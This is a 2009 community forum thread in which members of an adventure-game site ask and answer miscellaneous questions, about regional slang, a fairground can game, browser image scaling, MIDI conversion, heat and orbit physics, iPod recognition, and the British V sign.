Title: Re: Ask something - We can help.
Post by: Stee on Wed 15/04/2009 02:51:14
Quote from: Stupot on Thu 12/02/2009 23:37:35
Could anyone from the UK answer this question for me?
Feel free to answer it if you are from elsewhere but I'm particularly interested in UK results...  it's for a Linguistics exercise.

What word do you use for carbonated soft drinks?

Some people say 'soda', 'pop', or 'fizzy drinks'.
What term do you use? Is it something else entirely?

I'm plotting the results on a map of the UK so could you also please say which county or city you are from.
Thanks in advance guys. :)

im from the wirral (NW) uk. And the term I use is BEER. Although we used to say pop when we were kids and drank lemonade/orangeade etc.

Coke is coke.

Soda is different. Its an american equivalent to pop, but it has far more sugar, caffeine and other "you're going to die before you reach puberty" ingredients.  ;D
Title: Re: Ask something - We can help.
Post by: cat on Wed 15/04/2009 11:43:02
Question

I've already asked that on leo.org but didn't get any satisfying answer:

What do you call a booth at the fair where you shoot balls at empty cans and get prizes?
Does this game even exist in English-speaking countries?

The German word for this is "Dosenschießen".
Title: Re: Ask something - We can help.
Post by: Stupot on Wed 15/04/2009 13:02:19
Hey Cat.
Not sure about everyone else, but I'm pretty sure I used to refer to it as the 'shooting range'.  I'm in UK if that's relevant.
Title: Re: Ask something - We can help.
Post by: cat on Wed 15/04/2009 13:14:37
Ah, I used google image search with 'shooting range' but this is not quite the thing I am looking for. The thing I want to know is some kind of children's game where you throw balls at a pyramid of cans and try to crash it.

Edit: Oh well, seems this game only exists in German speaking areas. http://en.wikipedia.org/wiki/Coconut_shy#Other%20countries (http://en.wikipedia.org/wiki/Coconut_shy#Other%20countries)
Damn, this was part of a major puzzle in my game, now I have to find something different.
Title: Re: Ask something - We can help.
Post by: GarageGothic on Wed 15/04/2009 13:42:58
If you google for "tin can alley", you'll see that's a fairly common term for this kind of game.
Title: Re: Ask something - We can help.
Post by: on Wed 15/04/2009 13:44:24
No no, such a booth can be found at many American fairs too, it's called Tin Can Alley.

edit:
Almost beat you, Garage!  ;D
Title: Re: Ask something - We can help.
Post by: cat on Wed 15/04/2009 18:58:27
Hm, I'm not sure, according to the wikipedia entry this is a game with some laser rifle  ??? Or is this just some high-tech version of this game?

Another edit: google revealed that this is probably both. So I think I can go with it. Thanks guys!  :D

link (http://www.appletonsfunfairs.co.uk/billy_moore_tin_can_alley_146.jpg)
Title: Re: Ask something - We can help.
Post by: Stee on Thu 16/04/2009 10:21:01
I have a question. At the risk of sounding stupid, wtf is a hidden object game? Is it someones idea of an adventure game that takes 5mins to make and consequently complete like it think it is, those stupid pixel hunt puzzles people put into games to annoy you all combined into one game?

Im too scared to actually try one as it sounds like something that will make me want to blow my own brains out.
Title: Re: Ask something - We can help.
Post by: GarageGothic on Thu 16/04/2009 12:04:28
I must admit that I've had more fun with casual hidden object games than with any "real" adventure released last year. But it's definitely an acquired taste. They're not really pixel hunts, as you are usually allowed a limited number of clicks (if there's a time limit, clicking randomly more than 5 times or so will usually deduct a few minutes from the countdown) and all items are visible on-screen, only "hidden" among other junk in the background.

The genre seems to be evolving though (not necessarily for the better - the first Women's Murder Club game was much more challenging that the second), with more variety, mini games, logic puzzles and dropping the arbitrary searches for 5 flowers or the letter 'Q' in the middle of a crime scene investigation.

They're not bad games, but definitely no adventure games, and certainly a very casual gaming experience. Most adventure fans will hate them, and most hidden object fans will find "true" adventure games quite boring (as evidenced by the response to Dave Gilbert's Emerald City Confidential). If you want to give them a try, I recommend Dr. Lynch: Grave Secrets (http://www.bigfishgames.com/download-games/4269/dr-lynch-grave-secrets/index.html) written by Jane Jensen. There should be an hour of gameplay in the demo version, more than enough to make up your mind about the genre.

DISCLAIMER: Neither I nor Oberon Games can in any way be held responsible in case you actually do blow your brains out. To be on the safe side, you may want to read a review (http://www.gamezebo.com/games/dr-lynch-grave-secrets/review) instead of becoming another casualty of hidden object game related suicide.
Title: Re: Ask something - We can help.
Post by: Stee on Thu 16/04/2009 21:35:01
thanks for the response, I'm glad I was notified before i did something stupid  ;D
Title: Re: Ask something - We can help.
Post by: Ookki on Wed 22/04/2009 14:25:05
Hi! I just upgraded my IE 7 to IE 8 and came up with a problem I've read on some of the posts on critics section. Every stretched pixel art picture that used to look like it had been zoomed in Paint (which was like they were ment to be) now show up as ugly blurry images. Any idea how to fix this?  :-[
Title: Re: Ask something - We can help.
Post by: Hudders on Wed 22/04/2009 14:44:38
It's because it, (and FF3), use a bilinear filter on upscaled images. This is fine for 99% of the time but for pixel art it sucks.

I'm not aware of a reliable solution at present.
Title: Re: Ask something - We can help.
Post by: rharpe on Wed 22/04/2009 15:05:29
Quote from: Ookki on Wed 22/04/2009 14:25:05
Hi! I just upgraded my IE 7 to IE 8 and came up with a problem I've read on some of the posts on critics section. Every stretched pixel art picture that used to look like it had been zoomed in Paint (which was like they were ment to be) now show up as ugly blurry images. Any idea how to fix this?  :-[
Uninstall IE8 then get the IE Tab plug-in for FireFox 3.0.* (https://addons.mozilla.org/en-US/firefox/addon/1419) (You'll be happy you did.)
Title: Re: Ask something - We can help.
Post by: Ookki on Wed 22/04/2009 15:07:34
Quote from: rharpe on Wed 22/04/2009 15:05:29
Quote from: Ookki on Wed 22/04/2009 14:25:05
Hi! I just upgraded my IE 7 to IE 8 and came up with a problem I've read on some of the posts on critics section. Every stretched pixel art picture that used to look like it had been zoomed in Paint (which was like they were ment to be) now show up as ugly blurry images. Any idea how to fix this?  :-[
Uninstall IE8 then get the IE Tab plug-in for FireFox 3.0.* (https://addons.mozilla.org/en-US/firefox/addon/1419) (You'll be happy you did.)

However, Hudders here just said that FireFox 3 has the same problem too. :D So I'm convincied that will help me too much.
Title: Re: Ask something - We can help.
Post by: Tuomas on Wed 22/04/2009 15:46:27
Well it does, but it has the plugin to fix it too. I recommend switching to Opera myself ;)
Title: Re: Ask something - We can help.
Post by: Hudders on Wed 22/04/2009 16:28:56
The newest version of FF3, (3.1.0.9), fixes the problem to some degree. It's not perfect but it's better than it was.
Title: Re: Ask something - We can help.
Post by: Ookki on Wed 22/04/2009 18:15:40
That's quite sad. :( For me that is. The first time in my life I'm trying to use as much windowy programs as possible: IE, firewall, messenger, media player etc. :D I guess I have to end this experiment or just wait for a fix to IE, I bet they know about this already.
Title: Re: Ask something - We can help.
Post by: rharpe on Wed 22/04/2009 18:36:27
Quote from: Ookki on Wed 22/04/2009 18:15:40
That's quite sad. :( For me that is. The first time in my life I'm trying to use as much windowy programs as possible: IE, firewall, messenger, media player etc. :D I guess I have to end this experiment or just wait for a fix to IE, I bet they know about this already.
Go back to IE6... it never had this problem. (Of course your security would surely be breached!)

To progress in this life you must make sacrifices, no matter how you look at it.
Title: Re: Ask something - We can help.
Post by: Oliwerko on Wed 22/04/2009 20:11:54
Or switch to Opera.
Title: Re: Ask something - We can help.
Post by: Ookki on Wed 22/04/2009 23:55:41
Quote from: rharpe on Wed 22/04/2009 18:36:27
Quote from: Ookki on Wed 22/04/2009 18:15:40
That's quite sad. :( For me that is. The first time in my life I'm trying to use as much windowy programs as possible: IE, firewall, messenger, media player etc. :D I guess I have to end this experiment or just wait for a fix to IE, I bet they know about this already.
Go back to IE6... it never had this problem. (Of course your security would surely be breached!)

To progress in this life you must make sacrifices, no matter how you look at it.

That would be even sadder. :D I loved IE 7 though you might not belive it. I don't know about opera. I had it for a short time before my latest reinstall and though it had some really really nice features, I thought it was a little slow.

I really hope there was a suggestions email to microsoft. You know big companies always listen to one persons opinions.  ;D
Title: Re: Ask something - We can help.
Post by: Andail on Mon 18/05/2009 08:20:55
I've had some unanswered questions floating in my mind lately, but now I can only come up with two of them.

The first one is:
In the Simpsons Episode Lisa the beauty queen, Bart (who is, for some reason, supposed to be an expert on beauty and make-overs) confidently offers his advice on how to turn Lisa into a potential winner of the beauty pageant. He finishes off with something like "and then I will teach her the ancient art of petting".
Is this a joke that doesn't translate well, or am I just hearing wrong, but to me it sounds really disturbing that Bart would teach his sister the art of petting. I guess this incestuous concept would be funny in a South Park kind of way, but in a Simpsons episode it doesn't really make any sense to me.

The other one is:
In Led Zeppelin's All of my love, Robert Plant sings "Proud Aryan one word, my will to sustain". What is this supposed to mean? To my knowledge, Plant isn't a racist, or a neo-nazi for that matter, and I doubt he had the original Indo-Iranian meaning in mind. A weird place to find the word "Aryan" either way.

Any thoughts?
Title: Re: Ask something - We can help.
Post by: Hudders on Mon 18/05/2009 08:46:20
It isn't "proud Aryan", it's "proud Arianne".  ;)

EDIT: I've just realised that you also misheard the Simpson's quote. It's "the ancient art of padding", (i.e. padding a bra).

Quote from: "url=http://simpsons-scripts.wikidot.com/lisa-the-beauty-queen]Bart Simpson[/url]"]Later, I'll teach you the tricks of the trade: Taping your swimsuit to your butt, petroleum jelly on your teeth for that frictionless smile, and the ancient art of padding.

I had no idea there was a website where someone has transcribed every single Simpsons episode!

EDIT2: I just reread this thread and realised nobody ever answered the original question. Here's a website for you, Stupot; hope it helps. (http://www.mail.com/)
Title: Re: Ask something - We can help.
Post by: Trent R on Wed 20/05/2009 17:59:39
Hudders, you're wrong about Stupot's original post, although mail.com does have tons of subdomains to choose from. (though I have always stuck with plain-old mail.com)
He's talking about a different service... but I can't recall the name either.

~Trent
Title: Re: Ask something - We can help.
Post by: Hudders on Wed 20/05/2009 22:50:26
I don't think such a service exists anymore. I know what you mean, but I think mail.com is the closest available right now.

Either that or a paid for service, such as this. (http://www.absolute-email.net/index.html)
Title: Re: Ask something - We can help.
Post by: Stupot on Thu 21/05/2009 01:07:58
I've got a big feeling it might have been 'another.com'.

These days they are a regular domain-buying site that offers hosting etc like easily and godaddy.
But I'm certain that they (or whoever I'm thinking of) used to hoard the domain names for themselves but just dish out email addresses using the domain names they owned.
Title: Re: Ask something - We can help.
Post by: Bulbapuck on Sat 13/06/2009 21:56:03
I have a question, and since it's far too simple to be worth a whole thread I decided to revive this one ;)

My question is this: I've created some sound effects in .midi format. Now I realise that I can't use these for my games. :=
Does anyone know a good converter from midi to mp3/ogg/wav/voc ?
Title: Re: Ask something - We can help.
Post by: arj0n on Sun 14/06/2009 00:18:13
Bulbapuck,
Maybe you should look at Direct MIDI to MP3 Converter (http://www.pistonsoft.com/midi2mp3.html)
It's a "full featured 30 days trial program, conversion time is not limited.
Title: Re: Ask something - We can help.
Post by: Bulbapuck on Sun 14/06/2009 02:27:48
Brilliant [ Arj0n ]!

Thanks a million ;D!
Title: Re: Ask something - We can help.
Post by: Stupot on Mon 15/06/2009 20:23:30
Is anyone else not able to get Facebook today or is it just me?
Title: Re: Ask something - We can help.
Post by: Babar on Mon 15/06/2009 20:27:55
Interesting use of this thread :D.

And no,  it is just you.

Also (despite my use of this thread not being successful before), does anyone remember this show?
It seemed to have several "skits" in each episode, and I remember one of them being this kid selling all sorts of weird, nasty stuff on the street, calling out the names (stuff like scabs and acne in jars). And it also had something to do with a TV on in a dark room. Another sketch involved this guy helping out this group of people on some island, who thought their noses were too big, but then he told them to not play checkers in the rain, so that their sweaters would not shrink.
Title: Re: Ask something - We can help.
Post by: Atelier on Mon 15/06/2009 20:59:48
 :-\ What were you watching? Anybody who does remember probably wants to forget...
Title: Re: Ask something - We can help.
Post by: rharpe on Fri 26/06/2009 05:33:01
Has anyone here heard of Swap Tree? Have you tried it? http://www.swaptree.com/ (http://www.swaptree.com/)

What do you think about it? All comments welcomed.
Title: Re: Ask something - We can help.
Post by: Nikolas on Fri 26/06/2009 07:55:04
Quote from: rharpe on Fri 26/06/2009 05:33:01
What do you think about it? All comments welcomed.
Haven't tried it but I think it's an awesome idea, an awesome way, for example, to battle piracy, and a great way to also battle the greed that goes on in all companies! A legal sharing site! Hell YAY!

A pity it's not universal (then again shiping fees would be ridiculous really).
Title: Re: Ask something - We can help.
Post by: TerranRich on Fri 26/06/2009 08:07:04
OK, this one will stump most of you, I'm sure. I'm remembering a song, definitely from the 1970s. It's an instrumental song, with a little bit of "funk" feel to it. I do remember that on Conan O'Brien's former show (Late Night) his band played it during the transition from monologue to first guest, I'm sure of it, so it might have been a hit once.

Either the band name or the song title had "Detroit" in it. I may be wrong, but for some reason "Detroit" sticks out in my mind. I wish I could find a clip, but hours of Googling brought up nothing. Even if I tried to hum it or vocalize it and have you all hear it, it wouldn't really sound right.

The best I can describe is a mostly "funk" feel to it, kind of fast-paced, entirely instrumental. I remember it from a cassette tape I used to have of classic rock songs from the 70s. Can anybody help?
Title: Re: Ask something - We can help.
Post by: Tuomas on Sun 02/08/2009 21:22:21
I don't suppose you mean Detroit, the band, that recorded one album in the 70's? I actually only know them playing a Lou Reed cover though, "Rock and Roll". This is all wikipedia could also tell us about them :( No videos on youtube either, the Lou Reed song is there, if you wanna check it out.

Probably not Bowie's "Panic in Detroit" either? Both of these have words in them. If you could record a piece of the melody or anything, it might help us a bit.
Title: Re: Ask something - We can help.
Post by: Oliwerko on Wed 05/08/2009 10:25:30
Does anyone have any experience with this "touch scroll" thing Genius mice came up with? My Logitech middle wheel is dying and from what I see, Logitech mice are either expensive or have shitty wheels.

The touch scroll thing looks interesting, but having no chance to try it, did anyone do so here?
I use the wheel/I press the wheel a lot, so it looks like a nice change.

Anyone?
Title: Re: Ask something - We can help.
Post by: on Sat 22/08/2009 02:02:46
Not a question, but still an ask...

Bit of an odd request granted, but if anyone has/can get Summer Heights High theme tune in MP3/HQ format for me, please let me know - thanks! :)
Title: Re: Ask something - We can help.
Post by: monkey0506 on Sat 22/08/2009 13:28:49
@Mods:

Step 1 (http://www.youtube.com/watch?v=oL0JsBMJVns)

Step 2 (http://audacity.sourceforge.net/)

You're welcome! 8)
Title: Re: Ask something - We can help.
Post by: InCreator on Sun 23/08/2009 22:08:01
Few scientific ones I thought about while trying to sleep:

1) How does temperature (heat energy) act in vacuum? Let's say, we put a bowl of hot soup into airless room. Since there's no air to absorb heat, does soup suffer from any temperature loss at all (after giving some to the bowl)? I believe thermos uses vacuum somehow to keep liquid warm..?

2) Let's say there's no air on earth and I'm standing ontop of mount everest or tallest skyscraper. I throw a baseball. Can I make it orbit earth? Would lack of air friction make my throwing speed high enough to achieve needed speed? Also, since there's no air friction in space, why do astronauts in suits move so damn slow?
Title: Re: Ask something - We can help.
Post by: arj0n on Sun 23/08/2009 22:22:23
InC,

As for the first scientific one:

Heat = atomic motion
vacuum = (almost) no atoms.
No atoms = no heat loss or warming up by conduction

So the hot soup stays hot and cools down very slowly because a perfect vacuum is nearly impossible.
But I guess that theoretically the hot soup stays hot as long as there is no conduction.
Title: Re: Ask something - We can help.
Post by: zabnat on Sun 23/08/2009 22:55:11
Quote from: InCreator on Sun 23/08/2009 22:08:01
2) Let's say there's no air on earth and I'm stanting ontop of mount everest or tallest skyscraper. I throw a baseball. Can I make it orbit earth? Would lack of air friction make my throwing speed high enough to achieve needed speed? Also, since there's no air friction in space, why do astronauts in suits move so damn slow?
The baseball would need a velocity of 8 km/s to make it to the orbit. Since there is no air the air drag doesn't deccelerate the ball, but gravity drag still does. So the ball would need to leave your hand with even greater velocity.
Maybe astronauts move so damn slow because their suits are so big and clumsy? Also, they want to be careful so they don't drift away from the spaceship/-station. That would be a sucky way to die.
Title: Re: Ask something - We can help.
Post by: Anian on Mon 24/08/2009 01:38:51
Quote from: [ Arj0n ] on Sun 23/08/2009 22:22:23
Heat = atomic motion
vacuum = (almost) no atoms.
No atoms = no heat loss or warming up by conduction

So the hot soup stays hot and cools down very slowly because a perfect vacuum is nearly impossible.
But I guess that theoretically the hot soup stays hot as long as there is no conduction.
...then how do we get heat from the Sun here on Earth? Heat is not atomic motion in the sense it's the atoms, it's the energy that makes the atoms move/vibrate...it's not only energy waves, but it's EM waves - the ones that don't need matter/medium to spread...
Or did I just make an ass out myself?  :-\

Yeah, about the gravity ball in orbit thing, as zabnat said, even though the speed is determined by the air friction very much, the forces that act upon the ball should be equivalent, well in the vertical direction (meaning that gravity and the part of centrifugal force that pushes the ball away from the center of Earth are same but in opposite directions), but there should be the part of the centrifugal force that moves the ball in the direction you threw it (so it moves "horizontally"). It's all in the vectors.  ;D

While on astronauts thing - they should give them something like the ropes Batman uses for grapling (only maybe with some thing sticky or magnets at the end, so they don't damage the actual ship). They should have that on their arms so if the drift away they just point it at the shuttle and shoot...maybe they even have that.
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on Mon 24/08/2009 02:46:22
Heat has three methods of motion.

Conduction - which will not happen in a vacuum
Convection - which is due to varying densities, also not possible in space
and radiation - This is electro magnetic radiation which is how we get our heat from the sun.

The soup would cool down but very slowly...

As for the baseball; Air resistence is a fairly small force when considering something like a baseball. Even without air resistence you would need to apply about 5MJoules to the baseball. which is about 2.5 sticks of dynamite.

EDIT: actually now i think about it, im wrong about the soup.

The soup would freeze.

Conduction has quite a small effect on heat transfer. Most of the heat loss is done by radiation, which is still affected by differential temperature gradients.. therefore the soups days are numbered. since its like 3-4K in space.

Conduction in a gas is really quite small.. think about touching something metal which has been in a room for along time.. its still cold.
Title: Re: Ask something - We can help.
Post by: Jared on Mon 24/08/2009 03:39:27
Quote from: anian on Mon 24/08/2009 01:38:51While on astronauts thing - they should give them something like the ropes Batman uses for grapling (only maybe with some thing sticky or magnets at the end, so they don't damage the actual ship). They should have that on their arms so if the drift away they just point it at the shuttle and shoot...maybe they even have that.

The trouble with that idea being that Batman uses one in a situation where there's gravity and a clearly defined 'up'. Because the grapple pulls him away from the Earth's gravitational pull it's easy for him to stop. In a Zero-G environment, once you accelerate you need to apply an equal force to stop yourself moving which is basically asking astronauts to pick up over their own body weight. End result - astronauts slamming into the ship's hull and it becomes a contest as to whether the suit or the ship takes the worst/most expensive damage.

Tools don't work predictably in space. They found early on that a drill used in Zero-G would actually cause the astronaut to spin around at great speed, for example. A lot of the way things work mechanically here on Earth is due to our gravity and we don't take it into account.
Title: Re: Ask something - We can help.
Post by: Ultra Magnus on Mon 24/08/2009 04:45:58
Quote from: Jared on Mon 24/08/2009 03:39:27
Quote from: anian on Mon 24/08/2009 01:38:51While on astronauts thing - they should give them something like the ropes Batman uses for grapling (only maybe with some thing sticky or magnets at the end, so they don't damage the actual ship). They should have that on their arms so if the drift away they just point it at the shuttle and shoot...maybe they even have that.

The trouble with that idea being that Batman uses one in a situation where there's gravity and a clearly defined 'up'. Because the grapple pulls him away from the Earth's gravitational pull it's easy for him to stop. In a Zero-G environment, once you accelerate you need to apply an equal force to stop yourself moving which is basically asking astronauts to pick up over their own body weight. End result - astronauts slamming into the ship's hull and it becomes a contest as to whether the suit or the ship takes the worst/most expensive damage.

Not necessarily.
You're assuming it must include the rope-retracting mechanism, but it doesn't have to.
The astronauts could just pull the rope by hand once it's attached.
They could probably even still include the retracting mech if they made it sufficiently weak.


Quote from: Jared on Mon 24/08/2009 03:39:27
Tools don't work predictably in space. They found early on that a drill used in Zero-G would actually cause the astronaut to spin around at great speed, for example.
Even if that astronaut was anchored to the rest of the shuttle in some way?


Edited out rather condescending pic.
Sorry, I mis-read your post. Upon re-reading, it's clear I didn't need to explain that to you.
Title: Re: Ask something - We can help.
Post by: Jared on Mon 24/08/2009 05:43:35
QuoteThe astronauts could just pull the rope by hand once it's attached.

At that point they'd have basically exactly the same mechanism that they have now..
Title: Re: Ask something - We can help.
Post by: Ultra Magnus on Mon 24/08/2009 06:37:25
Well, in that case...

Quote from: Jared on Mon 24/08/2009 03:39:27
Quote from: anian on Mon 24/08/2009 01:38:51While on astronauts thing - they should give them something like the ropes Batman uses for grapling (only maybe with some thing sticky or magnets at the end, so they don't damage the actual ship). They should have that on their arms so if the drift away they just point it at the shuttle and shoot...maybe they even have that.

They do.

Fixed that for you. ;)
Title: Re: Ask something - We can help.
Post by: arj0n on Mon 24/08/2009 11:43:09
Quote from: anian on Mon 24/08/2009 01:38:51
Quote from: [ Arj0n ] on Sun 23/08/2009 22:22:23
Heat = atomic motion
vacuum = (almost) no atoms.
No atoms = no heat loss or warming up by conduction

So the hot soup stays hot and cools down very slowly because a perfect vacuum is nearly impossible.
But I guess that theoretically the hot soup stays hot as long as there is no conduction.
...then how do we get heat from the Sun here on Earth? Heat is not atomic motion in the sense it's the atoms, it's the energy that makes the atoms move/vibrate...it's not only energy waves, but it's EM waves - the ones that don't need matter/medium to spread...
Or did I just make an ass out myself?  :-\
well, atomic motion gives also vibration which leads to invisible Infrared Radiation, that's how we get heat from the sun here on earth.
When infrared is absorbed, it results in atomic motion, and therefore, in a rise in temperature.
And no, you didn't make an ass out of yourself ;)
Title: Re: Ask something - We can help.
Post by: Jared on Tue 25/08/2009 00:17:28
A (somewhat) interesting note from that is that the assumption that it's cold in space is actually wrong. The best known astronauts from our missions are in danger of freezing if outside the capsule for too long, but that's because their missions have been deliberately run when the Earth is between themselves and the sun to give them protection. A book I read stated that in direct sunlight the temperature of space is literally boiling.
Title: Re: Ask something - We can help.
Post by: on Tue 25/08/2009 00:19:34
Quote from: monkey_05_06 on Sat 22/08/2009 13:28:49
@Mods:

Step 1 (http://www.youtube.com/watch?v=oL0JsBMJVns)

Step 2 (http://audacity.sourceforge.net/)

You're welcome! 8)

Thanks.

But sadly, for some reason, this computer won't allow me to record my stereo out mix. But thanks for the links :)
Title: Re: Ask something - We can help.
Post by: arj0n on Tue 25/08/2009 14:07:15
Mods, I've upped the Summer Heights High Theme here's  (http://www.megaupload.com/?d=KZSGWLAX) if still needed.

Specs:
Format: MP3
Duration: 07:44
Quality: 44kHz, 320 kbps, Joint Stereo
Size: 17,73 Mb
Title: Re: Ask something - We can help.
Post by: zabnat on Tue 29/09/2009 23:36:26
This has bugged me couple of days now.
If I had bucket of room temperature water (10 liters), would it be possible to cool an object (like a rock) so cold that it would freeze all the water in the bucket. Let's say the bucket would be 20 liters so no water would escape even if the object would displace 10 liters. So how cold the object would have to be? How big would it have to be? What material would it have to be?
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on Wed 30/09/2009 00:19:33
hmmm.. You would need to put something in that, once the temperatures had equalised, would be colder than zero degrees.

So to entirely freeze a bucket of 10 litres of water you would need to remove about 1kJ of energy I think (MCdT)
so the object you put in would need to have at least 2kJ LESS thermal energy than the water.. which is nothing really.
(it takes about 3kJ to boil water)

As for the exact temperature and material i have no idea since i dont have the specific heat capacity of loads of materials available.

It's actually not possible to calculate the total thermal energy of a system since a 'perfect' gas doesnt exist. Any changes in temperature result in phase changes which screws everything up. Thats quantum physics for you.

I reckon a lump of anything cooled to about -50 and of equal mass to the water should do it easily. Assuming perfect conditions.

Title: Re: Ask something - We can help.
Post by: Creed Malay on Wed 30/09/2009 08:05:01
 How do Crane Flies (http://en.wikipedia.org/wiki/Crane_fly) survive? Seriously, they are useless - they can barely fly, and those insanely long legs don't seem to have any real point to them at all. They're rubbish, but they seem to do alright - they're everywhere at this time of year. What is those guys deal? How come they haven't been eaten into extiction by birds by now?
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on Wed 30/09/2009 12:24:27
frasier crane sends them food parcels.
Title: Re: Ask something - We can help.
Post by: arj0n on Wed 30/09/2009 13:16:31
If there is one animal I hate it is definitely the (female) mosquito.
Is there any usefulness of there existence beside being food for fish?
Title: Re: Ask something - We can help.
Post by: monkey0506 on Wed 30/09/2009 14:21:48
Dear something,*

Firstly thank you all for what you have done and are doing. I have recently encountered a situation which may call for your specialist services. I recently have discovered that on my personal computer games from TellTale Games seem to be leaking memory in much the same way that Niagra Falls leaks water.

I can't seem to figure out why this would be, and so I'm just seeking answers here. Any and all help you can provide would be much appreciated. My system specs and original reference for this question may be found here (http://www.telltalegames.com/forums/showthread.php2542).

Thanks again,

monkey

*The subject clearly says, "Ask something". So that's what I'm doing. I'm asking something a question. Got a problem with that?
Title: Re: Ask something - We can help.
Post by: Abisso on Thu 01/10/2009 14:15:22
QuoteThis has bugged me couple of days now.
If I had bucket of room temperature water (10 liters), would it be possible to cool an object (like a rock) so cold that it would freeze all the water in the bucket. Let's say the bucket would be 20 liters so no water would escape even if the object would displace 10 liters. So how cold the object would have to be? How big would it have to be? What material would it have to be?

I usually think about situations at the "limit" to solve this kind of problems. So let's cool a bucket of water till about (just a bit more than) 0° C. Then it's quite obvious that putting an object with an adequately lower temperature will suffice to freeze the water. Exact temp and mass of the object I don't know, but it's surely possible, under certain conditions, as long as you don't put restrictions on the mass and temperature of the object. Real life restrictions could probably involve the lower temperature easily achievable. I believe you can use liquid nitrogen to reach really low temps.

P.S. Objects actually happen to freeze water even as we speak: never noticed how the ice is usually found over car's windows, even when puddles aren't frozen?
Title: Re: Ask something - We can help.
Post by: Scarab on Sat 03/10/2009 17:32:16
Quote from: Calin Leafshade on Mon 24/08/2009 02:46:22
Conduction in a gas is really quite small.. think about touching something metal which has been in a room for along time.. its still cold.

Actually, all objects sitting long enough become 'room temperature', and the reason metal or tiles feel cold to the touch is because they are good conductors. The sensation of the coldness is due to a large amount of energy from your hand being transferred to the other object quickly (so we do not so much feel the 'coldness' but we feel 'negative' heat). This is because the human body is not good at quantifying things, just good at comparing them. e.g. If you put your left hand in cold water, and your right hand in hot water, then put them both in a bowl of warm water, your right hand will feel cold, and your left had will feel hot. Or you can only smell something in a room for a few seconds until your brain accepts this as the 'norm' and stops processing it.

So a metal object which has been in a room for a long time is not still cold, it just heats up really quickly.

S.
Title: Re: Ask something - We can help.
Post by: InCreator on Sun 04/10/2009 12:43:01
Quote from: Abisso on Thu 01/10/2009 14:15:22
P.S. Objects actually happen to freeze water even as we speak: never noticed how the ice is usually found over car's windows, even when puddles aren't frozen?

I don't think it's car glass that froze water here: any water of same little size as vapor drops on glass would be frozen also. Freezing comes from the fact that water drops are small enough to quickly lose enough heat and freeze. At basic level, it's air that's cold, not glass or water. And air that cools things off.

Puddles simply are larger (deeper) and therefore warmer. If same temperature stays long enough, puddles freeze anyway. There's simply more water to cool so it takes more time.

It's like russian tradition - to pour tea from cup to a the little dish and drink it from dish -- it loses temperature alot faster thus isn't too hot to drink. Two reasons here -- liquid over larger area = more exposed to air which steals temperature, and less liquid at once - cools faster.

But sure, things cool water. A big cold spoon into a teacup makes it cool much quicker.
Title: Re: Ask something - We can help.
Post by: Abisso on Sun 04/10/2009 15:54:30
@Who?
QuoteI don't think it's car glass that froze water here:

Well, actually each material has a different conductivity. And that determines how good it is to exchange heat as well.

Calin Leafshade explains this pretty well, and I agree:

QuoteActually, all objects sitting long enough become 'room temperature', and the reason metal or tiles feel cold to the touch is because they are good conductors. The sensation of the coldness is due to a large amount of energy from your hand being transferred to the other object quickly (so we do not so much feel the 'coldness' but we feel 'negative' heat). This is because the human body is not good at quantifying things, just good at comparing them. e.g. If you put your left hand in cold water, and your right hand in hot water, then put them both in a bowl of warm water, your right hand will feel cold, and your left had will feel hot. Or you can only smell something in a room for a few seconds until your brain accepts this as the 'norm' and stops processing it.

So a metal object which has been in a room for a long time is not still cold, it just heats up really quickly.
Title: Re: Ask something - We can help.
Post by: Stupot on Fri 09/10/2009 23:25:31
Hey guys... wonder if anyone can help me.
I bought my mates iPod off him a few weeks ago and have only just got round to trying to play with it.
Trouble is... when I plug it into the USB port, my laptop doesn't seem to want to recognize it.
It will acknowledge that I have put the device in there, and then it tells me it needs to install a device driver... which it says is a success... but after that it doesn't seem to register on my Computer, so I can't do anything with it.

I've tried it in all the USB ports, coz I know my webcam wont work in all of them, but to no avail...

Any ideas?

Cheers.

P.S. My computer refers to it as an 'Unidentified Device'... How to I get it 'identified'?
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on Sat 10/10/2009 00:11:02
You need to install iTunes first. The Ipod service is required to recognise the ipod
Title: Re: Ask something - We can help.
Post by: Stupot on Sat 10/10/2009 01:28:13
I've got iTunes... always have... just never had an iPod to go with it... I'm pretty sure its something to do with drivers... most of my problems arenormally to do with drivers.
Title: Re: Ask something - We can help.
Post by: Abisso on Sat 10/10/2009 01:50:39
I'm pretty sure you already have, but take a look here:

http://support.apple.com/kb/TS1496

Maybe you've got an incompatible Itunes version.
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on Sat 10/10/2009 02:01:52
As far as im aware the Ipod doesn't *need* any drivers. It's essentially just a portable hard drive and so falls under the general spec.

However to make it work as an ipod it requires the Ipod Service to be all running and working.
Title: Re: Ask something - We can help.
Post by: Ryan Timothy B on Wed 14/10/2009 16:45:59
QUESTION and story: I walked into the office at my work and gave the secretary the peace sign as I approached her desk (I'm always bugging her :P).  She told me she believes that in England you'll get your face punched in if you have your hand turned to show your knuckles/palm while giving the peace sign, but with your hand turned around is the correct way.

Is this true?  Is this really an insult in England (which she mentioned she believed it was England, or some country in the vicinity).
Title: Re: Ask something - We can help.
Post by: NsMn on Wed 14/10/2009 16:54:32
You'll have to keep your fingers closed for this, as far as I know.
Title: Re: Ask something - We can help.
Post by: IndieBoy on Wed 14/10/2009 17:11:17
It's pretty much like showing the middle finger at someone. Basically it is a backwards peace sign.
Title: Re: Ask something - We can help.
Post by: arj0n on Wed 14/10/2009 17:12:24
Quote from: Ryan Timothy on Wed 14/10/2009 16:45:59
QUESTION and story: I walked into the office at my work and gave the secretary the peace sign as I approached her desk (I'm always bugging her :P).  She told me she believes that in England you'll get your face punched in if you have your hand turned to show your knuckles/palm while giving the peace sign, but with your hand turned around is the correct way.

Is this true?  Is this really an insult in England (which she mentioned she believed it was England, or some country in the vicinity).
Yep, that's true.
Title: Re: Ask something - We can help.
Post by: Ryan Timothy B on Wed 14/10/2009 17:50:30
Wow.  I better make a mental note to always show the back of my hand for a peace sign.
Sometimes I go either way, knuckles in or out. :P  Not anymore.. lol


Woah. Now I'm confused.  According to SteveMcCrea and the Wiki link that Monkey posted, showing the back of the hand is the wrong way to give a peace sign.

QuoteIn the UK, Ireland, Australia and New Zealand, the V sign (given with back of the hand towards the recipient) serves a similar purpose, although "the finger" is often used. The characters of the British sitcom Are You Being Served? often use the V sign when agitated with each other. This gesture is also used to a lesser extent in Canada.
Title: Re: Ask something - We can help.
Post by: Nikolas on Wed 14/10/2009 18:00:25
